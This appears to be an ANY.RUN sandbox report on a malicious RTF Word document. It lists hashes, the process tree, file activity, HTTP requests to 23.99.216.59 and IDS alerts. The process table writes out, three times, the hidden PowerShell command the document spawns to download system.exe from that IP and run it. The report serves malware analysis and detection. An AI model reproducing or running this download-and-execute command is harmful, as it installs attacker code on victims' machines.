File name: | be3fb05406957475d9b9a3995a92387aa4c91f5b12dada14d21105756ff818f6.doc |
Full analysis: | https://app.any.run/tasks/58e372f7-e579-4053-aa94-27db2b6ab5b1 |
Verdict: | Malicious activity |
Analysis date: | October 20, 2020, 02:00:29 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | text/rtf |
File info: | Rich Text Format data, version 1, unknown character set |
MD5: | C6A17A0095233DEE19CCCCBA357DA256 |
SHA1: | 5B0280D290572B00DA30D382681BB5FE8B6B5E2B |
SHA256: | BE3FB05406957475D9B9A3995A92387AA4C91F5B12DADA14D21105756FF818F6 |
SSDEEP: | 1536:9bxSTvHyjtHv9Yr9ae2o+CKwNR6+vLUSx+3Bjy6mAgaeeVhMDw5wfLu:9QlraRDAw5wf6 |
.rtf | | | Rich Text Format (100) |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2492 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\be3fb05406957475d9b9a3995a92387aa4c91f5b12dada14d21105756ff818f6.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3016 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://23.99.216.59/system/system.exe','C:\Users\admin\AppData\Roaming\system.exe');Start-Process 'C:\Users\admin\AppData\Roaming\system.exe'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2940 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://23.99.216.59/system/system.exe','C:\Users\admin\AppData\Roaming\system.exe');Start-Process 'C:\Users\admin\AppData\Roaming\system.exe'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2236 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://23.99.216.59/system/system.exe','C:\Users\admin\AppData\Roaming\system.exe');Start-Process 'C:\Users\admin\AppData\Roaming\system.exe'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2492 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR4163.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2492 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F389267E.png | — | |
MD5:— | SHA256:— | |||
3016 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GF55UD5YX72MBVCB8VR4.temp | — | |
MD5:— | SHA256:— | |||
2940 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2VUQ777LIYALVC7Z1LRE.temp | — | |
MD5:— | SHA256:— | |||
2236 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NXS11V1AG5ZVFXCZGYIC.temp | — | |
MD5:— | SHA256:— | |||
2236 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d8784.TMP | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB | |||
2940 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d863c.TMP | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB | |||
3016 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d4ccd.TMP | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB | |||
2940 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB | |||
3016 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:D6EE8C34E4C28999F00E385C8808E7DE | SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2492 | WINWORD.EXE | GET | 404 | 23.99.216.59:80 | http://23.99.216.59/system/system.exe | US | html | 274 b | suspicious |
2492 | WINWORD.EXE | GET | 404 | 23.99.216.59:80 | http://23.99.216.59/system/system.exe | US | html | 274 b | suspicious |
2940 | powershell.exe | GET | 404 | 23.99.216.59:80 | http://23.99.216.59/system/system.exe | US | html | 274 b | suspicious |
2492 | WINWORD.EXE | GET | 404 | 23.99.216.59:80 | http://23.99.216.59/system/system.exe | US | html | 274 b | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3016 | powershell.exe | 23.99.216.59:80 | — | Microsoft Corporation | US | suspicious |
2492 | WINWORD.EXE | 23.99.216.59:80 | — | Microsoft Corporation | US | suspicious |
2940 | powershell.exe | 23.99.216.59:80 | — | Microsoft Corporation | US | suspicious |
PID | Process | Class | Message |
---|---|---|---|
2492 | WINWORD.EXE | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3016 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2492 | WINWORD.EXE | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2492 | WINWORD.EXE | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2940 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |